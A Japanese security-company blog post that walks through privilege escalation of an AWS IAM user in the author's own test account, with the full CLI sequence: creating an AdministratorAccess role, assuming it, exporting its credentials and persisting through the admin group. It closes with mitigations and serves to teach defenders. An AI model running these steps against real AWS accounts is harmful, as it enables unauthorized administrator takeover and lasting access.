こんにちは、DP部の井上(WHI)です。最近は、クラウドサービスのペネトレをちょくちょく勉強しています。
夏ごろには、当社の別メディアであるLAC WATCHでAWS上にあるK8sに対するペネトレ事例などを紹介させていただきました。
今回は、AWS環境においてIAMユーザの権限昇格を試してみたので紹介したいと思います。
モチベーション
私の所属する部門では、技術者がAWS上でいろいろ検証できるように検証用のAWS環境が用意されています。その検証環境で検証を終えて作ったリソースなどを削除しようとお片付けしていたところ、検証のために作ったポリシーの削除時に、権限の不足により削除できない警告が表示されてしまいました。
なるほど、権限がないのなら仕方ありません。権限昇格しましょう。
AWSでの権限昇格のゴール
AWSでは、管理者権限向けの公式のポリシーに、AdministratorAccessという名前のポリシーが用意されています。
ARNでいうとarn:aws:iam::aws:policy/AdministratorAccess
です。
今回は、このAdministratorAccessでの操作権限を手に入れることを権限昇格のゴールとします。また、このポリシーが割り当てられているグループに自分のアカウントを所属させることで攻撃の永続化を行います。
IAMユーザの権限列挙
権限昇格の試行の基本は、使用中のIAMユーザに現時点でどんな権限が割り当てられているのか把握することです。IAMユーザに権限を割り当てる方法としては基本的に3つあります。
- ユーザにインラインポリシーとして記述する
- ユーザに直接ポリシーをアタッチする
- グループにポリシーをアタッチして、ユーザをグループに所属させる
AWSのWebコンソールから確認する場合は1か所で確認することができます。
しかし、AWSコマンドを使って確認する場合は全て違うコマンドで確認する必要があります。
インラインポリシーとして記述されたポリシーは、以下のコマンドで確認できます。
aws iam list-user-policies --user-name <IAMユーザ名>
ここで表示されるポリシーの内容は、以下のコマンドで確認できます。
aws iam get-user-policy --user-name <IAMユーザ名> --policy-name <ポリシー名>
ユーザに直接アタッチされているポリシーやグループを通してアタッチされているポリシーは以下のコマンドで確認できます。
IAMユーザに直接アタッチされているポリシーの確認
aws iam list-attached-user-policies --user-name <IAMユーザ名>
グループを通してアタッチされているポリシーを確認するには、まずIAMユーザが所属しているグループを特定し、特定したグループにアタッチされているポリシーを特定します。
IAMユーザが所属しているIAMグループの確認
aws iam list-groups-for-user --user-name <IAMユーザ名>
IAMグループにアタッチされているポリシーの確認
aws iam list-attached-group-policies --group-name <IAMグループ名>
ポリシーの内容は、ポリシーのデフォルトバージョンを確認し、バージョンを指定してコマンドを実行することで確認できます。
ポリシーのデフォルトバージョンの確認
aws iam get-policy --policy-arn <ポリシーのARN>
ポリシーの内容の確認
aws iam get-policy-version --policy-arn <ポリシーのARN> --version-id <上で確認したバージョンID>
コマンドの実行結果は省きますが、今回の環境を調査した結果としては、PowerUserAccessというAWSの公式ポリシーをベースにいくつかのIAM系の権限を付与させたAdministratorAccessとPowerUserAccessとの間にあるような位置づけの権限を持っていることが判明します。
ちなみに、PowerUserAccessのポリシーのみしかアタッチされておらずIAM系の閲覧権限がない場合、上記のコマンドなどによる権限の列挙はできません。その場合、AWSが実装しているAPIを実際に叩きどの権限を持っているのかブルートフォース的に調査する手法を使って、持っている権限を特定します。その手法を実装しているツールとして、PACUやEnumerate IAM permissionsなどがあります。
ユーザが持っている権限の列挙ができたら、持っている権限で何ができそうか考えます。権限昇格ではIAM系の権限はとても役に立ちます。今回の環境でベースとなっているポリシーのPowerUserAccessではsts:AssumeRoleの権限が利用できますし、別途付与されているのはIAM系の権限です。
悪用できそうなIAMロールの調査
まずは、sts:AssumeRole権限から攻めていきます。sts:AssumeRoleは、ユーザがIAMロールの権限を利用するときに必要になる権限です。悪用できそうな、AWSアカウント上にあるIAMロールを探していきます。
AWSアカウント上のIAMロールは以下のコマンドで確認できます。
aws iam list-roles
特に確認すべきIAMロールは、プリンシパルの設定が以下のようにアカウントにあるIAMユーザ全体となっているものです。
"AWS": "arn:aws:iam::<AWSアカウントID>:root"
今回の環境では、すぐに悪用できそうなIAMロールは見つかりませんでした。
脆弱なIAMロールの作成
次に、PowerUserAccess以外のポリシーとして追加で付与されていた、iam:CreateRoleとiam:AttachRolePolicyの権限に着目します。これらの権限はIAMロールの作成と、作成したIAMロールにポリシーをアタッチできる権限です。悪用できそうなIAMロールが現状のアカウント内になければ作ればいいのです。
作成するIAMロールは、どのIAMユーザからでもAssumeRoleできる、AdministratorAccessポリシーをアタッチしたIAMロールです。
以下のコマンドでロールの作成とポリシーのアタッチができます。
aws iam create-role --role-name Hack-Role --assume-role-policy-document file://Hack-Role.json
aws iam attach-role-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --role-name Hack-Role
権限昇格
脆弱なIAMロールが作成できたら、AssumeRoleで、作成したIAMロールのアクセスキー等を取得します。
aws sts assume-role --role-arn arn:aws:iam::<AWSアカウントID>:role/Hack-Role --role-session-name hack
取得した、アクセスキーなどを環境変数に設定します。AWSコマンドでは、環境変数のアクセスキーが優先して利用されます。
export AWS_ACCESS_KEY_ID=<access key id> export AWS_SECRET_ACCESS_KEY=<secret access key> export AWS_SESSION_TOKEN=<session token>
設定できたら、どのアカウントでAPIが呼ばれているのか確認してみます。
aws sts get-caller-identity
作成したIAMロールでAPIが呼び出されていたら権限昇格成功です。
永続化
今回の環境では、管理者用にAdministratorAccessポリシーがアタッチされている管理者グループが存在していました。今回はこのグループに権限昇格対象のユーザを追加することで永続化していきます。
上記で窃取したIAMロールの権限でユーザをグループに追加する以下のコマンドを実行すれば追加されます。
aws iam add-user-to-group --group-name <管理者グループ名> --user-name <IAMユーザ名>
対策
今回の権限昇格ではユーザに、iam:CreateRoleと、特にiam:AttachRolePolicyが付与されていたことが原因で攻撃が成功してしまいました。iam:AttachRolePolicy権限は、ポリシーがアタッチできる権限、つまり権限を自由に割り振れる権限と考えると非常に高い権限であることがわかります。このようなIAM系の権限の付与には十分注意する必要があります。この権限以外にも付与されていると権限昇格につながる権限がいくつもあります。
RhinoSecurityLabsのGithubではAWSにおける権限手法として、今回紹介したものを含めてたくさんの手法が紹介されています。危険な権限を把握しておくことも重要です。
おわりに
お片付け完了しました。